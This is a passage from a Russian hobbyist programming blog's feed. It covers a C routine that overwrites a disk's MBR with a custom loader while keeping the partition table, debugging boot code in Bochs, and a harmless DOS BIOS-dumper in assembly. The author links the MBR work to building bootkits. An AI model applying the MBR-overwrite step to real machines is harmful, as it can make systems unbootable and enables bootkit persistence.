&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;			&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;mbr[i]=buf[i];&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
переходим на сохраненный в 9 секторе mbr. Я долго искал возможно ли прочитать сектор &quot;по кусочкам&quot; как говорится- в мсдн четко указано-апи функции читают\пишут сектора только размером КРАТНЫМ СЕКТОРУ т.е. 512,1024 и т.д., но не меньше.по этому читаем все 512 байтов в буфер,в цикле из одного массива,заменяем в наш бинарник-массив последние 66 байтов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;SetFilePointer(hout,0,NULL,FILE_BEGIN);&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: blue;&quot;&gt;WriteFile(hout,&amp;amp;mbr,sizeof(mbr),&amp;amp;nw,NULL);&lt;/span&gt;&lt;br /&gt;
переходим на смещение 0x00 и записываем видоизмененный массив бинарника в качестве mbr windows.ВСЕЕЕ!!! ее!)&lt;br /&gt;
можно посмотреть на его работу вот тут:&lt;br /&gt;
&lt;a href=&quot;http://www.youtube.com/watch?v=5sC5o_yeoek&amp;amp;feature=youtu.be&quot; target=&quot;_blank&quot;&gt;http://www.youtube.com/watch?v=5sC5o_yeoek&amp;amp;feature=youtu.be&lt;/a&gt;&lt;br /&gt;
.&lt;br /&gt;
&lt;br /&gt;
Теперь я расскажу вам о отладке mbr в отладчике бош.&lt;br /&gt;
Что хочу сказать сразу-отладка крайне неудобная,бош работает крайне медленно,но каких то альтернатив я и не знаю.пробовал мучаться с идой и плагинами на питоне,но что то не получилось.&lt;br /&gt;
Ну во первых,поставить венду на бош вам скорее всего не удасться,по меньшей мере я пытался-не получилось,он застопорялся на распаковке файлов уже в gui режиме.&lt;br /&gt;
По этому лучше создать образ windows уже установленной.я его не создавал,а просто скачал на 4pda.ru (при желании гуглится).Смотрите на совместимость с бошем.&lt;br /&gt;
Дальше я только расскажу как все настроить и приступить к отладке.&lt;br /&gt;
запускаем бош,видим настройки.Пройдемся по порядку:&lt;br /&gt;
&lt;br /&gt;
1)CPU&lt;br /&gt;
-cpu configuration- bx_generic&lt;br /&gt;
-emulated instructions per second 10 000 000&lt;br /&gt;
enable CPU reset- да&lt;br /&gt;
inore RDMSR- да&lt;br /&gt;
&lt;br /&gt;
2)MEMORY&lt;br /&gt;
standart options:&lt;br /&gt;
- memory size (megabytes) -1&lt;br /&gt;
-host allocated memory size - тут устанавливаете столько,сколько можете себе позволить.Лично я установил гигабайт.&lt;br /&gt;
&lt;br /&gt;
дальше до disc &amp;amp; boot я ничего не менял, т.к. не требуется&lt;br /&gt;
&lt;br /&gt;
3) DISC &amp;amp; BOOT&lt;br /&gt;
ata channel 0:&lt;br /&gt;
first hd/cd on channel 0:&lt;br /&gt;
-enable this device - да&lt;br /&gt;
-type of ata device - disk&lt;br /&gt;
-path or physical device &amp;nbsp;name - тут путь к образу венды&lt;br /&gt;
-type of disk image- flat&lt;br /&gt;
на счет геометрии диска- сложно сказать, попробуйте поменять type of disk image на sparse если не будет запускаться,так я указал рандомное число С|H|S и при запуске просто жал continue simulation.&lt;br /&gt;
&lt;br /&gt;
second hd/cd on channel 0- тут я советую вам подключить дисковод с нужными программами, что бы создать образ просто запихните папку с программами в ultra iso и сохраните образ.&lt;br /&gt;
тут все просто&lt;br /&gt;
-enable this device- да&lt;br /&gt;
-type of ata device- cdrom&lt;br /&gt;
-path- путь к образу с программами.&lt;br /&gt;
-inserted- да&lt;br /&gt;
&lt;br /&gt;
после всех настроек сохраните конфигурационный файл и поместите в папку с бошем.&lt;br /&gt;
отладка у боша консольная-это конечно ужасно. теперь что бы запустить отладчик наберите в командной строке&amp;nbsp;bochsdbg.exe -q -f bochsrc.bxrc где bochsrc это ваш конфигурационный файл.&lt;br /&gt;
увидите примерно следующее:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0Qlk3o5p2TgK78EFJHYtxLLrtpZaQDxTocBbyYLfMkgxtQqntHsuvssJzX9Ndrgyi2lsAlZtSEc7jpq5v1X111jBZGT2E4qMLv7DI9Ndvto9FnUoOOonHtihe5KLOGmX0Fo7KC5WwEwtJ/s1600/222.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;139&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0Qlk3o5p2TgK78EFJHYtxLLrtpZaQDxTocBbyYLfMkgxtQqntHsuvssJzX9Ndrgyi2lsAlZtSEc7jpq5v1X111jBZGT2E4qMLv7DI9Ndvto9FnUoOOonHtihe5KLOGmX0Fo7KC5WwEwtJ/s320/222.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
дальше с помощью команды help можно узнать в деталях о том какая команда что делает.&lt;br /&gt;
для отладки mbr пишем lb 0x7c00 что поставит брэйкпоинт на загрузку и cont что продолжит выполнение кода,до точки останова.дальше трассирующими командами и командами просмотра регистров,флагов etc мы и отлаживаем наш загрузчик(или любой другой).&lt;br /&gt;
Как выглядит отладка:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZr-HhUVZtTsSCUnNBtPWljkmENFXbphQiI-o6iFzKSPkQxVrZCzcCwJiAYuHONt41tJB7LUDmQTx0JlYOdoxhJQX_Z18fefN8cnmrqTiny1CyNFyvQLilYhs1lmaMr_ZRlHpvuOP2-y8s/s1600/1579459.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;128&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZr-HhUVZtTsSCUnNBtPWljkmENFXbphQiI-o6iFzKSPkQxVrZCzcCwJiAYuHONt41tJB7LUDmQTx0JlYOdoxhJQX_Z18fefN8cnmrqTiny1CyNFyvQLilYhs1lmaMr_ZRlHpvuOP2-y8s/s320/1579459.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq-FC5IJ-kBid9af3r6CUagvT1MEpHGIVwRYYsFRNiso6aORCpj-uhrFc1-pdKTOrhT57ikc37L7GD0sRDO20QZVKvfI1erLceqcFuqGvG1fNzbaJ09mU-WO5eNK14k924r-IQp88vV8AL/s1600/222.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;135&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq-FC5IJ-kBid9af3r6CUagvT1MEpHGIVwRYYsFRNiso6aORCpj-uhrFc1-pdKTOrhT57ikc37L7GD0sRDO20QZVKvfI1erLceqcFuqGvG1fNzbaJ09mU-WO5eNK14k924r-IQp88vV8AL/s320/222.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
На этом все друзья.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Большой опыт полученный от всего этого можно применить как для создания буткитов так и для написания своей операционки либо отладки чужого кода и еще много много всего.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Всем удачного кода.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
ПОСТ СКРИПТУМ я выполнил хорошую работу и гордо иду пить пиво и смотреть фильм с Милой Йовович и Сиенной гиллори&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAsCeruQDUrs_4VcOW9gKr-JqmoHAam_-e_nJrb93yanLDsi5pe0CswAG913I6USqdJnyYztYwd5EhMsxBPqzO5mKIYLQKsN9y-0zqmICbeozpE4r644FBdi5kr8LYJp0eUanaWLJkV4TC/s1600/IMG_20130207_224523.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAsCeruQDUrs_4VcOW9gKr-JqmoHAam_-e_nJrb93yanLDsi5pe0CswAG913I6USqdJnyYztYwd5EhMsxBPqzO5mKIYLQKsN9y-0zqmICbeozpE4r644FBdi5kr8LYJp0eUanaWLJkV4TC/s320/IMG_20130207_224523.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
ПОСТ СКРИПТУМ 2&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Поросенок Петр съябует из этой страны&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-yfXlh2yJl0AnYDY9_8p99Abi1P1tF7TsHFpSBEQNO0LkhXAG2tiso8HZRb9dqUbCF0XDKEcpctRUez5LPcnl7yKSSNdtu4pnfi2NeRlrgr5pPg57lvKiJEn-qMcPctZQHiHaYnsgXHMK/s1600/IMG_20130207_224557.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;75&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-yfXlh2yJl0AnYDY9_8p99Abi1P1tF7TsHFpSBEQNO0LkhXAG2tiso8HZRb9dqUbCF0XDKEcpctRUez5LPcnl7yKSSNdtu4pnfi2NeRlrgr5pPg57lvKiJEn-qMcPctZQHiHaYnsgXHMK/s320/IMG_20130207_224557.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/2027295174982150890/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2013/02/2013.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/2027295174982150890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/2027295174982150890'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2013/02/2013.html' title='Первый пост в 2013.Продолжаем тему загрузчиков.'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWE4R4yJHu58sSuSomAsiI5p0B9hoZV0zhFMgbeYMlZJG4fBL4G1_RlJtTt9flOenrLnCt-c-b12G-H2BFabcUEmywBQ34TWHEiIQdWTjlgZI5_2WSjGaCgmOicqkfqAsRTYHRhqKs9vXn/s72-c/boot_04.gif" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-8522375484217362978</id><published>2012-12-31T19:46:00.001+02:00</published><updated>2012-12-31T19:46:12.264+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Assembler"/><title type='text'>Последний пост в 2012.</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Ну что друзья,вот и подошел к концу этот трудный, 2012 год.Сегодня, напоследок, я хочу выложить сорсы дампера биос вот к этой теме: &lt;a href=&quot;http://bydood.blogspot.com/2012/12/bios.html&quot; target=&quot;_blank&quot;&gt;тема&lt;/a&gt;.Вообще я хотел еще сегодня выложить микро наработку по загрузчику буткита,но мне кажется что я уже не успею потому что там еще только сектор написан и кусок джампера)))&lt;br /&gt;
&lt;br /&gt;
Сорсы с комментами:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;[bits 16]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;segment code&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;..start:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ax, data ; настраиваем сегменты данных,стэка и его вершины.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ds, ax&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ax, stack&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ss, ax&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov sp, stacktop&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov dx, hello ; выводим сообщение&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ah, 0x09&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int 0x21&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ah, 0x3C ; создаем файл через описатель&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;xor cx,cx&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov dx, fn&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int 0x21&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;jnc createdfile ; если удалось-переходим к записи&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov dx, openerr ; если не удалось-оповестим о ошибке&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ah, 0x09&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int 0x21&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;jmp exit&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;createdfile:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov [hfile], ax&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov bx, ax&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ax, 0xF000 ; биос стартует отсюда&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ds, ax&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov cx, 0xFFFF ; до сюда&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;xor dx,dx&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ah, 0x40 ; пишем в файл что по тем адресам&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int 0x21&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ax, data&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ds, ax&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;jnc written ; удалось-записываем&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov dx, wrtnerr ; не удалось-выводим еррор&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ah, 0x09&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int 0x21&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;written:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov bx, [hfile] ; закрываем файл&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ah, 0x3E&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int 0x21&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;jnc exit ; и выходим&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov dx, closerr ; ошибка закрытия&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ah, 0x09&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int 0x21&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;exit:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;mov ax, 0x4c00 ; выход&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int 0x21&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: blue;&quot;&gt;segment data&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;hello: db &#39;I&quot;ll dump bios to file&#39;, 0dh, 0ah, &#39;$&#39;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;openerr: db &#39;File create error&#39;, 0dh, 0ah, &#39;$&#39;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;wrtnerr: db &#39;File write error&#39;, 0dh, 0ah, &#39;$&#39;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;closerr: db &#39;File close error&#39;, 0dh, 0ah, &#39;$&#39;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;fn: db &#39;BIOS.ROM&#39;, 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;hfile: resw 1 ; описатель- слово&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: blue;&quot;&gt;segment stack stack&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;resb 64 ; выделим под стэк 64 байта&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;stacktop:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
Уходит пусть старый,злой год и приходит новый!&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;object width=&quot;320&quot; height=&quot;266&quot; class=&quot;BLOGGER-youtube-video&quot; classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot; codebase=&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0&quot; data-thumbnail-src=&quot;http://0.gvt0.com/vi/wQ0un4_fG7Q/0.jpg&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/wQ0un4_fG7Q&amp;fs=1&amp;source=uds&quot; /&gt;&lt;param name=&quot;bgcolor&quot; value=&quot;#FFFFFF&quot; /&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot; /&gt;&lt;embed width=&quot;320&quot; height=&quot;266&quot;  src=&quot;http://www.youtube.com/v/wQ0un4_fG7Q&amp;fs=1&amp;source=uds&quot; type=&quot;application/x-shockwave-flash&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
Всем хорошего праздника,позитива и веселья!УРА!!!&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://cs309327.userapi.com/v309327540/4cef/z_Ufd0L1LiU.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://cs309327.userapi.com/v309327540/4cef/z_Ufd0L1LiU.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;
